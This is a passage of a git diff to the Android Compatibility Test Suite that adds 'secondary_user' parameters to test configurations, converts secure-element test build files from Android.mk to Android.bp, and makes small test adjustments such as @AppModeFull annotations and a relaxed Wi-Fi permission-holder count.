http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH:= $(call my-dir) - -include $(CLEAR_VARS) - -# Don't include this package in any target. -LOCAL_MODULE_TAGS := optional - -# When built, explicitly put it in the data partition. -LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS) - -LOCAL_STATIC_JAVA_LIBRARIES := \ - androidx.annotation_annotation \ - compatibility-device-util-axt \ - ctstestrunner-axt \ - truth-prebuilt \ - testng # TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows - -LOCAL_SRC_FILES := $(call all-java-files-under, src) - -# Tag this module as a cts test artifact -LOCAL_COMPATIBILITY_SUITE := cts vts general-tests - -LOCAL_PACKAGE_NAME := CtsContentSuggestionsTestCases - -LOCAL_SDK_VERSION := system_current - -include $(BUILD_CTS_PACKAGE) diff --git a/tests/contentsuggestions/AndroidTest.xml b/tests/contentsuggestions/AndroidTest.xml index d6c73a26f8b..9e8821d6e68 100644 --- a/tests/contentsuggestions/AndroidTest.xml +++ b/tests/contentsuggestions/AndroidTest.xml @@ -20,6 +20,7 @@ <!-- Only available to recents, which can't be an instant app. --> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> diff --git a/tests/jdwp/AndroidTest.xml b/tests/jdwp/AndroidTest.xml index 9fc608e108d..d17adbd6d54 100644 --- a/tests/jdwp/AndroidTest.xml +++ b/tests/jdwp/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="art" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer"> <option name="run-command" value="mkdir -p /data/local/tmp/ctsjdwp/java.io.tmpdir" /> <option name="run-command" value="mkdir -p /data/local/tmp/ctsjdwp/user.home" /> diff --git a/tests/mocking/AndroidTest.xml b/tests/mocking/AndroidTest.xml index 94bcc6f5a83..73759b0a785 100644 --- a/tests/mocking/AndroidTest.xml +++ b/tests/mocking/AndroidTest.xml @@ -19,6 +19,7 @@ <option name="config-descriptor:metadata" key="component" value="mocking" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> diff --git a/tests/mocking/debuggable/AndroidTest.xml b/tests/mocking/debuggable/AndroidTest.xml index f3c8dadf110..95db765c3fc 100644 --- a/tests/mocking/debuggable/AndroidTest.xml +++ b/tests/mocking/debuggable/AndroidTest.xml @@ -20,6 +20,7 @@ <option name="config-descriptor:metadata" key="component" value="mocking" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> diff --git a/tests/mocking/inline/AndroidTest.xml b/tests/mocking/inline/AndroidTest.xml index ab18927f862..0c83c258ba1 100644 --- a/tests/mocking/inline/AndroidTest.xml +++ b/tests/mocking/inline/AndroidTest.xml @@ -19,6 +19,7 @@ <option name="config-descriptor:metadata" key="component" value="mocking" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> diff --git a/tests/signature/intent-check/AndroidTest.xml b/tests/signature/intent-check/AndroidTest.xml index 40968ecedc2..e9c79f87b48 100644 --- a/tests/signature/intent-check/AndroidTest.xml +++ b/tests/signature/intent-check/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="systems" /> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <option name="not-shardable" value="true" /> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> <option name="target" value="device" /> diff --git a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java index bb96b9a76d2..405f5b25a47 100644 --- a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java +++ b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java @@ -333,21 +333,6 @@ public class ApiComplianceCheckerTest extends AbstractApiCheckerTest<ApiComplian } /** - * Test the case where the API declares the method not synchronized, but it - * actually is. - */ - @Test - @Ignore("b/124445655") - public void testAddingSync() { - ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD); - JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName()); - JDiffClassDescription.JDiffMethod method = method("syncMethod", Modifier.PUBLIC, "void"); - clz.addMethod(method); - checkSignatureCompliance(clz, observer); - observer.validate(); - } - - /** * Test the case where the API declares the method is synchronized, but it * actually is not. */ diff --git a/tests/systemAppTest/prebuilts/readme.txt b/tests/systemAppTest/prebuilts/readme.txt deleted file mode 100644 index f9ba205c6d8..00000000000 --- a/tests/systemAppTest/prebuilts/readme.txt +++ /dev/null @@ -1 +0,0 @@ -This directory will contain signed CtsSystemAppTestCases.apk. diff --git a/tests/systemAppTest/test/Android.mk b/tests/systemAppTest/test/Android.mk deleted file mode 100644 index 0c9401999de..00000000000 --- a/tests/systemAppTest/test/Android.mk +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright (C) 2013 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -# This module will not be built in normal CTS build -# TODO: add xml generation for test build -LOCAL_PATH:= $(call my-dir) - -include $(CLEAR_VARS) - -LOCAL_MODULE_TAGS := optional - -LOCAL_PRIVILEGED_MODULE := true - -LOCAL_MODULE_PATH := $(TARGET_OUT_APPS_PRIVILEGED) - -LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt - -LOCAL_SRC_FILES := $(call all-java-files-under, src) - -LOCAL_PACKAGE_NAME := CtsSystemAppTestCases - -LOCAL_SDK_VERSION := current - -include $(BUILD_PACKAGE) diff --git a/tests/systemAppTest/test/AndroidManifest.xml b/tests/systemAppTest/test/AndroidManifest.xml deleted file mode 100644 index dbcaf9e95e3..00000000000 --- a/tests/systemAppTest/test/AndroidManifest.xml +++ /dev/null @@ -1,20 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!-- Copyright (C) 2013 The Android Open Source Project - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. ---> -<manifest xmlns:android="http://schemas.android.com/apk/res/android" - package="com.android.cts.systemapptest" - android:versionCode="1" - android:versionName="1.0" > -</manifest> diff --git a/tests/tests/animation/AndroidTest.xml b/tests/tests/animation/AndroidTest.xml index 7b9d17d7ae5..ea0dacc3d2b 100644 --- a/tests/tests/animation/AndroidTest.xml +++ b/tests/tests/animation/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="uitoolkit" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsAnimationTestCases.apk" /> diff --git a/tests/tests/background/AndroidTest.xml b/tests/tests/background/AndroidTest.xml index 364457e8df6..2a1c2c3c0c9 100644 --- a/tests/tests/background/AndroidTest.xml +++ b/tests/tests/background/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="framework" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <option name="not-shardable" value="true" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> diff --git a/tests/tests/bionic/AndroidTest.xml b/tests/tests/bionic/AndroidTest.xml index aa603de24dc..c83983de2dc 100644 --- a/tests/tests/bionic/AndroidTest.xml +++ b/tests/tests/bionic/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="bionic" /> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <!-- TODO(b/126376458): Remove this when sharding is supported by libgtest_isolated --> <option name="not-shardable" value="true" /> diff --git a/tests/tests/colormode/AndroidTest.xml b/tests/tests/colormode/AndroidTest.xml index babfbc3ce60..24520cf9423 100644 --- a/tests/tests/colormode/AndroidTest.xml +++ b/tests/tests/colormode/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="graphics" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <option name="not-shardable" value="true" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> diff --git a/tests/tests/contactsproviderwipe/AndroidTest.xml b/tests/tests/contactsproviderwipe/AndroidTest.xml index d73a717d357..ffc6c167f8a 100644 --- a/tests/tests/contactsproviderwipe/AndroidTest.xml +++ b/tests/tests/contactsproviderwipe/AndroidTest.xml @@ -19,6 +19,7 @@ <!-- This is a test for apps with READ/WRITE_CONTACTS, which instant apps don't have --> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <option name="not-shardable" value="true" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> diff --git a/tests/tests/database/AndroidTest.xml b/tests/tests/database/AndroidTest.xml index d48422addc3..a6b6b5e1b83 100644 --- a/tests/tests/database/AndroidTest.xml +++ b/tests/tests/database/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="framework" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsDatabaseTestCases.apk" /> diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java index 0ef5cd90f82..3e4776465f1 100644 --- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java +++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java @@ -921,9 +921,9 @@ public class WifiManagerTest extends AndroidTestCase { .distinct() .collect(Collectors.toList()); - if (uniquePackageNames.size() > 1) { - fail("The NETWORK_CARRIER_PROVISIONING permission must not be held by more than one " - + "application, but is held by " + uniquePackageNames.size() + " applications: " + if (uniquePackageNames.size() > 2) { + fail("The NETWORK_CARRIER_PROVISIONING permission must not be held by more than two " + + "applications, but is held by " + uniquePackageNames.size() + " applications: " + String.join(", ", uniquePackageNames)); } } diff --git a/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml b/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml index 98e2119b1fa..f1d5cf7db93 100644 --- a/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml +++ b/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="neuralnetworks" /> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher"> <option name="cleanup" value="true" /> <option name="push" value="CtsTfliteNnapiDelegateTestCases->/data/local/tmp/CtsTfliteNnapiDelegateTestCases" /> diff --git a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java index 3e5565eb63b..49c086debe2 100644 --- a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java +++ b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java @@ -25,6 +25,7 @@ import androidx.test.InstrumentationRegistry; import androidx.test.filters.LargeTest; import androidx.test.rule.ActivityTestRule; import androidx.test.runner.AndroidJUnit4; +import android.support.test.uiautomator.UiDevice; import org.junit.Before; import org.junit.Rule; @@ -77,6 +78,7 @@ public class EglConfigTest { activity.waitToFinishDrawing(); // TODO(b/30948621): Remove the sleep below once b/30948621 is fixed. Thread.sleep(500); + UiDevice.getInstance(mInstrumentation).pressHome(); activity.finish(); mInstrumentation.waitForIdleSync(); } diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml index e248a62228f..5270823c3d2 100644 --- a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml +++ b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml @@ -19,6 +19,7 @@ <!-- Instant apps can't have INSTALL_PACKAGES permission. --> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsAtomicInstallTestCases.apk" /> diff --git a/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java b/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java index 41390591a39..6a3290f7bd6 100644 --- a/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java +++ b/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java @@ -20,6 +20,7 @@ import android.content.ContentValues; import android.content.pm.PackageManager; import android.media.tv.TvContract; import android.net.Uri; +import android.platform.test.annotations.AppModeFull; import android.test.AndroidTestCase; /** @@ -71,31 +72,37 @@ public class TvPermissionTest extends AndroidTestCase { } } + @AppModeFull public void testInsertChannels() throws Exception { if (!mHasTvInputFramework) return; verifyInsert(TvContract.Channels.CONTENT_URI, "channels"); } + @AppModeFull public void testUpdateChannels() throws Exception { if (!mHasTvInputFramework) return; verifyUpdate(TvContract.Channels.CONTENT_URI, "channels"); } + @AppModeFull public void testDeleteChannels() throws Exception { if (!mHasTvInputFramework) return; verifyDelete(TvContract.Channels.CONTENT_URI, "channels"); } + @AppModeFull public void testInsertPrograms() throws Exception { if (!mHasTvInputFramework) return; verifyInsert(TvContract.Programs.CONTENT_URI, "programs"); } + @AppModeFull public void testUpdatePrograms() throws Exception { if (!mHasTvInputFramework) return; verifyUpdate(TvContract.Programs.CONTENT_URI, "programs"); } + @AppModeFull public void testDeletePrograms() throws Exception { if (!mHasTvInputFramework) return; verifyDelete(TvContract.Programs.CONTENT_URI, "programs"); diff --git a/tests/tests/renderscript/AndroidTest.xml b/tests/tests/renderscript/AndroidTest.xml index 22a20cfd6fa..87ef08e73f5 100644 --- a/tests/tests/renderscript/AndroidTest.xml +++ b/tests/tests/renderscript/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="renderscript" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsRenderscriptTestCases.apk" /> diff --git a/tests/tests/renderscriptlegacy/AndroidTest.xml b/tests/tests/renderscriptlegacy/AndroidTest.xml index affc8f72d38..33dff522995 100644 --- a/tests/tests/renderscriptlegacy/AndroidTest.xml +++ b/tests/tests/renderscriptlegacy/AndroidTest.xml @@ -18,6 +18,7 @@ <option name="config-descriptor:metadata" key="component" value="renderscript" /> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsRenderscriptLegacyTestCases.apk" /> diff --git a/tests/tests/resolverservice/AndroidTest.xml b/tests/tests/resolverservice/AndroidTest.xml index ee0cc8c9e8c..fbd041daef8 100644 --- a/tests/tests/resolverservice/AndroidTest.xml +++ b/tests/tests/resolverservice/AndroidTest.xml @@ -22,6 +22,7 @@ <option name="config-descriptor:metadata" key="component" value="framework" /> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> diff --git a/tests/tests/secure_element/Android.mk b/tests/tests/secure_element/Android.mk deleted file mode 100644 index 5c7187ead31..00000000000 --- a/tests/tests/secure_element/Android.mk +++ /dev/null @@ -1,16 +0,0 @@ -# Copyright (C) 2018 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -include $(call all-subdir-makefiles) - diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp index ef5284b0806..41da980d604 100644 --- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp +++ b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp @@ -17,3 +17,26 @@ android_test_import { enabled: false, }, } + +//################################################################# +// Unsigned Package + +android_test_helper_app { + name: "CtsSecureElementAccessControlTestCases1", + defaults: ["cts_defaults"], + static_libs: [ + "ctstestrunner-axt", + "compatibility-device-util-axt", + ], + srcs: ["src/**/*.java"], + libs: [ + "android.test.runner", + "android.test.base", + ], + // Tag this module as a cts test artifact + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk deleted file mode 100644 index feda0fd8047..00000000000 --- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright (C) 2018 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH:= $(call my-dir) - -################################################################## -# Unsigned Package - -include $(CLEAR_VARS) - -LOCAL_PACKAGE_NAME := CtsSecureElementAccessControlTestCases1 -# Don't include this package in any target. -LOCAL_MODULE_TAGS := optional -# When built, explicitly put it in the data partition. -LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS) -LOCAL_STATIC_JAVA_LIBRARIES := \ - ctstestrunner-axt \ - compatibility-device-util-axt -LOCAL_SRC_FILES := $(call all-java-files-under, src) -LOCAL_SDK_VERSION := current -LOCAL_JAVA_LIBRARIES += android.test.runner -LOCAL_JAVA_LIBRARIES += android.test.base -# Tag this module as a cts test artifact -LOCAL_COMPATIBILITY_SUITE := cts vts general-tests - -include $(BUILD_CTS_PACKAGE) diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp index 3cfeb552456..d8b0df3540d 100644 --- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp +++ b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp @@ -17,3 +17,26 @@ android_test_import { enabled: false, }, } + +//################################################################# +// Unsigned Package + +android_test_helper_app { + name: "CtsSecureElementAccessControlTestCases2", + defaults: ["cts_defaults"], + static_libs: [ + "ctstestrunner-axt", + "compatibility-device-util-axt", + ], + srcs: ["src/**/*.java"], + libs: [ + "android.test.runner", + "android.test.base", + ], + // Tag this module as a cts test artifact + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk deleted file mode 100644 index 7c85540989b..00000000000 --- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright (C) 2018 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH:= $(call my-dir) - -################################################################## -# Unsigned Package - -include $(CLEAR_VARS) - -LOCAL_PACKAGE_NAME := CtsSecureElementAccessControlTestCases2 -# Don't include this package in any target. -LOCAL_MODULE_TAGS := optional -# When built, explicitly put it in the data partition. -LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS) -LOCAL_STATIC_JAVA_LIBRARIES := \ - ctstestrunner-axt \ - compatibility-device-util-axt -LOCAL_SRC_FILES := $(call all-java-files-under, src) -LOCAL_SDK_VERSION := current -LOCAL_JAVA_LIBRARIES += android.test.runner -LOCAL_JAVA_LIBRARIES += android.test.base -# Tag this module as a cts test artifact -LOCAL_COMPATIBILITY_SUITE := cts vts general-tests - -include $(BUILD_CTS_PACKAGE) diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp index 9225e5d8be0..2ab7b5b2518 100644 --- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp +++ b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp @@ -17,3 +17,26 @@ android_test_import { enabled: false, }, } + +//################################################################# +// Unsigned Package + +android_test_helper_app { + name: "CtsSecureElementAccessControlTestCases3", + defaults: ["cts_defaults"], + static_libs: [ + "ctstestrunner-axt", + "compatibility-device-util-axt", + ], + srcs: ["src/**/*.java"], + libs: [ + "android.test.runner", + "android.test.base", + ], + // Tag this module as a cts test artifact + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk deleted file mode 100644 index 1520360b1d0..00000000000 --- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright (C) 2018 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH:= $(call my-dir) - -################################################################## -# Unsigned Package - -include $(CLEAR_VARS) - -LOCAL_PACKAGE_NAME := CtsSecureElementAccessControlTestCases3 -# Don't include this package in any target. -LOCAL_MODULE_TAGS := optional -# When built, explicitly put it in the data partition. -LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS) -LOCAL_STATIC_JAVA_LIBRARIES := \ - ctstestrunner-axt \ - compatibility-device-util-axt -LOCAL_SRC_FILES := $(call all-java-files-under, src) -LOCAL_SDK_VERSION := current -LOCAL_JAVA_LIBRARIES += android.test.runner -LOCAL_JAVA_LIBRARIES += android.test.base -# Tag this module as a cts test artifact -LOCAL_COMPATIBILITY_SUITE := cts vts general-tests - -include $(BUILD_CTS_PACKAGE) diff --git a/tests/tests/secure_element/access_control/Android.mk b/tests/tests/secure_element/access_control/Android.mk deleted file mode 100644 index f776e484776..00000000000 --- a/tests/tests/secure_element/access_control/Android.mk +++ /dev/null @@ -1,20 +0,0 @@ -# Copyright (C) 2018 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -cts_out_dir := $(HOST_OUT)/cts/android-cts/testcases -$(call dist-for-goals,cts,$(cts_out_dir)/CtsSecureElementAccessControlTestCases1.apk) -$(call dist-for-goals,cts,$(cts_out_dir)/CtsSecureElementAccessControlTestCases2.apk) -$(call dist-for-goals,cts,$(cts_out_dir)/CtsSecureElementAccessControlTestCases3.apk) -include $(call all-subdir-makefiles) - diff --git a/tests/tests/secure_element/omapi/Android.bp b/tests/tests/secure_element/omapi/Android.bp new file mode 100644 index 00000000000..a18aba15a6b --- /dev/null +++ b/tests/tests/secure_element/omapi/Android.bp @@ -0,0 +1,34 @@ +// Copyright (C) 2018 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +android_test { + name: "CtsOmapiTestCases", + defaults: ["cts_defaults"], + static_libs: [ + "ctstestrunner-axt", + "compatibility-device-util-axt", + ], + srcs: ["src/**/*.java"], + // was: sdk_version: "current", + libs: [ + "android.test.runner", + "android.test.base", + ], + // Tag this module as a cts test artifact + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} diff --git a/tests/tests/secure_element/omapi/Android.mk b/tests/tests/secure_element/omapi/Android.mk deleted file mode 100644 index 1ac37200b51..00000000000 --- a/tests/tests/secure_element/omapi/Android.mk +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright (C) 2018 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH:= $(call my-dir) - -include $(CLEAR_VARS) - -LOCAL_PACKAGE_NAME := CtsOmapiTestCases - -# Don't include this package in any target. -LOCAL_MODULE_TAGS := optional - -# When built, explicitly put it in the data partition. -LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS) - -LOCAL_STATIC_JAVA_LIBRARIES := \ - ctstestrunner-axt \ - compatibility-device-util-axt - -LOCAL_SRC_FILES := $(call all-java-files-under, src) - -LOCAL_SDK_VERSION := current -LOCAL_JAVA_LIBRARIES += android.test.runner -LOCAL_JAVA_LIBRARIES += android.test.base - -# Tag this module as a cts test artifact -LOCAL_COMPATIBILITY_SUITE := cts vts general-tests - -include $(BUILD_CTS_PACKAGE) diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp index 